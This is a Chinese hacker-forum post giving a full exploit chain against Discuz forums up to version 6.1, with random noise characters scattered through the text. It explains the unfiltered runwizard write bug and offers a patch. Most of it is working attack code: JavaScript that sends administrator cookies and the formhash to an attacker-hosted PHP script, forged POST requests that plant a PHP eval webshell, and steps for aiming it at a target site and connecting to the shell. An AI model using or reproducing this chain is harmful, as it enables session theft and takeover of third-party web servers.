Discuz XSS得webshell2 K4 F3 A7 z4 c3 x5 l- f
By racle @tian6.com
) |& E' @$ m8 p t( p欢迎转帖.但请保留版权信息.7 o+ J; V, z9 B% E2 ?6 q5 T! e
受影响版本iscuz<=6.1.0,gbk+utf+big5
. k# I( K2 m& h! L1 g1 }$ Y# H3 b8 b4 m z
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
- A0 t5 M+ `: t+ L4 V" O3 A/ Z e2 B; b9 b/ s- c2 w
8 U( `1 t( e4 Y% n* x9 a! `0 ^
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706& L3 p1 a+ E9 c( i7 J% e' y% X
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
m8 `: K( U4 ?6 S8 Z
( ?4 r3 T! c; ?分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
. W) O$ b" l. L% T9 Z- c: E本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
7 c1 D' Q3 y: `, G% W
% n$ A. K2 d: Z1 x
4 I! |1 F5 V9 x6 y/ \----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
) Y" j$ P% V$ N5 ~& w
. A8 E* j6 y& I, K* e! s& z3 y4 S) H B& q5 h0 V0 }
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
3 H3 X4 K9 }& u. d. o! u H- E- Z, ]8 X! Z3 X
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer. ~3 u% r) ?- W! E$ U: {6 c) z5 ]+ r0 N
* e" K$ X$ {1 b- ]problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
7 B6 Y- h4 B1 }/ t* y- s
& S. n: K5 ~+ t8 e8 j3 M# F5 u& m2 `& r
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
F, L* N1 I1 t4 J3 k7 _- u4 ~, z5 W
global $runwizardfile, $runwizardhistory;: @5 Q- Z# t" S
1 w! d. p' A: I
$fp = fopen($runwizardfile, 'w');
. T( P% O0 o/ V* V' J$ t: }( D/ [% E) w: o: x/ L& q* ?' F
fwrite($fp, serialize($runwizardhistory));/ G0 J1 Y6 r# a' u% L
; }0 B6 L. y' y. T; x9 n `
fclose($fp);
8 h8 Y' m' a$ h# ?# L7 \/ s( i
2 A, W& X1 p/ V}$ E" Z; ~; O" h3 f" V! K
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里., a7 ?# {$ p6 D$ l- }
以下是修补的办法:function saverunwizardhistory() {
# M# G% P4 g- p4 L; f& f$ s) C) u% `5 ^6 P5 _
global $runwizardfile, $runwizardhistory;# \; x: `1 p0 L
8 G3 G2 e- o( p3 I- n( G $fp = fopen($runwizardfile, 'w');$ U# Q# S3 [* N
, {7 I/ g& o4 B3 y
$s = '<?php exit;?>';0 O/ ^) j9 h' U" w! j
: _& m; y9 l7 j' H/ m" N( L0 G, u0 R
$s .= serialize($runwizardhistory);. A8 K9 x( R9 t
6 Q* J! }& H i. P5 I; m* j fwrite($fp, $s);
. n) Q1 P$ K6 h* L; x% v: z. D% E5 {6 J, r4 _
fclose($fp);! D( I1 G8 C/ Q6 |- o6 J% T
4 T* ]7 a1 ^* E
}
5 ]# f, R- K& B5 `9 o复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.* k6 Y Y; V2 D
7 w( z; c9 K6 S" O4 h" P
4 b" X" z5 X& m, p( n6 [/ R
7 q9 _" ]! B* R0 k. S2 q7 [----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
$ {# L) f6 F! c8 {- h, M8 m' _3 Q# c* o
0 k3 J3 u; V4 e) `1 h1 o9 v% j7 v
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
. G1 U! A6 Y& s) | V" h+ h( W& G* F; b
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
" b( j8 X- Z& ?, b; [# ~+ V; a* l
' H: i2 M# \) a6 U1 d) g; E5 }这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
3 m J) ]+ C# |& z4 ]4 P) a9 g
' j; |3 G( |, E- [, G2 N+ h首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
' E' w+ q, M9 [9 h+ a1 L: B/ Y* H. ~7 j& x ~+ c4 q
var url="http://目标网站/admincp.php";
9 q* {" K/ I, y& f7 l- E5 N' a4 v0 e! {$ I/ d4 [# t& r
/*获得cookies*// i4 t/ l& A) |/ u. U3 l3 w
% Z F! y' C, }& U/ g1 U! g* _
function getURL(s) {8 h, h ?, L( m
1 i7 x! _9 {2 g2 W7 w% p% M' Xvar image = new Image();/ X* M1 n/ v7 z7 ^! R, |
( c; \1 F7 r, ]4 A6 R* l2 g v7 t
image.style.width = 0;
& B. R; {$ _1 k3 o! X* a- @ e0 o" Z+ e4 A+ P8 w$ \" X1 Z! h# ?9 K
image.style.height = 0;
2 R4 R1 @! p# l$ Z/ O
3 v7 ?# H4 C. r- l4 H- limage.src = s;& N, d. k" `% y1 D+ R3 J* A, e
4 `/ w b+ i+ ^
}
+ e K' n/ b! \2 Q
8 A$ h) |' M+ W1 b' bgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php" u( D9 O$ e1 g- ~
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
3 {9 B4 ]* ]% r复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) $ o# B" T9 y6 S1 q6 P! N7 [5 O% j
; z* }9 r7 n" y( A3 Y% a, X
9 N, h$ d+ K5 {$ q/ x8 z& b3 L% H5 o获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/"; t2 z9 t/ W) T
+ w$ b1 O/ T0 M" { P S$ Y5 m9 g
- [2 q1 H9 g& h$ I* A# I8 P( e- i; j2 x# ~8 o2 [6 ~4 N/ u$ ^
/*hash*/
2 |( X! W, D- q( u3 I, ]( G/ `4 A' S7 V2 r, X; j4 S7 b0 x
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");3 h/ O! }0 k6 x% Z; b" f' ?
9 b& s% {, l j2 z( }+ u
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);" \; M; ~& \0 ?4 [! s* ]
5 z& w4 {( f1 K( d; _- {0 ?xmlHttpReq.send();
) e: u! i7 m0 J$ N: H
! }( z- _ Y6 d& `var resource = xmlHttpReq.responseText;+ P6 p8 ]% n! C& @) H
j1 V# c3 G" Bvar numero = resource.search(/formhash/);
G4 B* f; T0 ?9 V- }, }4 ?) B5 d- }4 c. y5 A) S" a1 [4 P: T+ |
var formhash=encodeURIComponent(resource.substr(numero+17,8));2 {7 }" K! Y8 U- w5 O
6 O( P& s; ?6 Q( A9 y; ^
2 |. K) J* i/ J8 ]3 m! \6 ?! w& O) B. E- i
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
" U8 ? ` N$ v% x" U' l% W
9 T4 b+ w8 @3 t K% @# \xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 3 a4 b- T2 s+ ^8 a0 T2 W: E
3 @+ f3 c5 l& g7 I) v6 X
xmlHttpReq.setRequestHeader("Referer", url);+ a# w; ^. C3 ~$ g( S5 h
" u: S1 o6 ]7 \+ o- }' ?; R
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
! K* q3 e% }. Q( _- ~0 v( v" S* k1 I6 H- R0 j! g1 Y% A6 V. G
xmlHttpReq.setrequestheader("content-length",post.length); 7 C9 i9 I! a# x2 ]. V
" @" o3 j) F- @2 Q. I
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); * C8 D* O' V4 M+ |' h" r
. e/ [6 P7 F6 q& l" \, i
xmlHttpReq.send(post);//发送数据
2 T4 f& z( e0 ]; F2 k复制代码这里HASH我假设正确,这样提交,也无须cookies
?* A9 M( J5 y+ t% r6 b( B g- G9 a8 R1 @$ o4 j+ B* {/ a
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);$ B* k% s( @. p; a3 H
5 I: @5 _* f& \ s7 ]5 r: bif (!$sock) die("$errstr ($errno)\n");
3 X8 b+ F+ Z. s4 P
5 r, J% }& |; _. G* j1 |$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';/ p5 J$ G1 n* D# ]) e% y
: Z' T2 b, V7 o u
- o+ E- W3 h4 Y+ \' J
% ~9 x- l0 c. Qfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
& D5 S( A j6 |# v3 p" e7 Q* R( U1 b6 c( x) h0 B% _
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n"); P; e9 D+ |, G- [( ?
' q, }3 a! o; u- D
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");9 Q; A" w- @. I4 s; U# \
L! M" l: z* h) s& M2 ~fwrite($sock, "Accept-Language: zh-cn\r\n");5 @$ A: W3 Q9 k" T3 E
% B' \2 c; Q+ g3 j9 d$ d# z1 U
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");. d3 o) ]( m' D H6 u2 t+ b
+ W5 g- x5 y* efwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
! o# e6 {3 i/ w* t( i: \; J$ p
- W0 d" y" {0 gfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");5 \# g% h1 t# ?0 o6 F6 }
5 O& N* Q% n6 D# d( u) }! z# Cfwrite($sock, "Host: $url\r\n");. W, P6 C$ R% d3 c* U# P
$ Z" S% T/ p1 L8 z& l' p6 p
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");) N1 S9 A+ U0 H$ G( J
. z, o6 r, x) v( W- a
fwrite($sock, "Connection: Keep-Alive\r\n");
# P; o7 w) _1 b$ x
+ {) [3 Q& V' z+ Ifwrite($sock, "Cache-Control: no-cache\r\n");
- W. M9 j. E$ e& }7 g7 ^; N( A: \& ]/ F3 z
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
5 C- `: F6 n* F) Y5 C& H; J
% g9 T' ?( j6 t( d E2 {) [fwrite($sock, $data);' J; S/ W1 R( _7 z# l4 i1 S: V3 R
! _, s, a+ M: E; x/ b' l
- y9 e+ Y8 d! u7 R( P7 i9 j: L0 I! Q- o# H# e) @
$headers = "";& I& r. v2 z5 a0 I; `
' B' j6 U6 t- vwhile ($str = trim(fgets($sock, 4096)))0 V' `% q& R6 u# U/ l1 H
5 w" s2 k F6 Z/ R $headers .= "$str\n";
6 c& U/ ]: Y5 [" a
/ `, g$ }& ?0 z* Uecho "\n";% E4 U0 T' \; w7 |
5 V0 m4 e1 s" L' x$ o& ]! M P
$body = "";0 Z8 Q" v4 r+ u( p! p
; t* Y( I) B W. x) T# l. G: n
while (!feof($sock))( N4 d) D, l3 l) }
+ D7 X/ T8 e5 g; r9 J& r
$body .= fgets($sock, 4096);
, U8 P" P' v8 D" V' W
- v( t: z$ _" I7 P; W5 Ifclose($sock);
! U4 Z1 G' f4 b1 E0 \+ l( D( T4 G
& B' L( P1 S/ N# M% Q% ?echo $body;
! w( x/ a, S Z. S, S/ ~5 g7 e复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
6 z: }& `9 f0 _7 }3 o
* o2 p) d4 X' v3 n: f) ?9 Y& g
" a+ }. H/ E6 b1 t-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------& N# s$ Z3 X+ s! M0 L; P- o( d$ K
; w5 v! S2 F% j7 [5 C
/ c/ J% { L# |1 W( I2 c# Y
1HP SOCKET利用方法首先打开racle.js0 @% W. L3 `: l0 U
5 j! x' r. }0 Z) X# n3 ]& ovar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home: I5 o$ {9 R9 G4 D
+ Q8 N6 g! ]& F) _; z ^
/ k0 u' [$ \% N) [1 I9 R. P
$ V5 A* F ^7 A4 Z- C4 A3 ?然后打开racle@tian6.php
4 Q* E; _0 |* h: i ^8 N7 n* S4 c* X8 I+ F
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com' w$ Y' @0 s) h5 T1 H9 k$ x
% y. m+ ^2 F, ~* c/ L' L+ V! y5 k
: Z$ R& l, ]7 _/ w$ F7 Y& F+ e: R9 ]- ~) ` I, E" P& j% K
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:1 t/ c+ W' M' r9 {# s
/ b; n- l Q! L# J5 d
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
1 R: ^9 n+ q& D8 n) v2 E( ]& l( p# K3 w1 }- e% g8 U
为
) m, P! b7 d0 Y, c# S8 v; m, f& R- F. e, u' X
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
3 x$ {2 ?6 |6 [' T复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
* C3 I3 B: c+ |2 |0 j. \/ `
+ L2 q$ n" z0 n: K( c2 v* B# h5 C. V5 Q
% t$ Y8 B( c0 S S如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
. o4 i2 e0 y, o K0 P9 k3 ? l( G& e/ m- o: Z& O: ]- e
var formhash=encodeURIComponent(resource.substr(numero+17,8));1 b. R1 R3 V1 d0 l7 q7 a/ I( |
) B+ W& @$ W; F( _4 q- o3 |
为9 Y1 m8 l7 J6 U+ [
& |6 Q3 X0 `' L z8 ]! a V. }
var formhash=encodeURIComponent(resource.substr(numero+9,8));* x6 ^& |: ^" l3 P0 M4 O
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧. Y4 K3 G* ~! o, W3 A4 E# U3 d
2 G# C" o) l6 n A9 ~7 C如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
8 U$ P9 m- ~1 P
2 I4 b1 e+ X6 c$ x1 s' E% I如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
+ \: W+ G1 [( \( X4 ?0 s3 _& L3 ~* z8 @% Z3 P$ D* V
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.1 o) y7 w ] }6 x/ W, f3 K8 U
: K0 |" g s% d* ~. H
|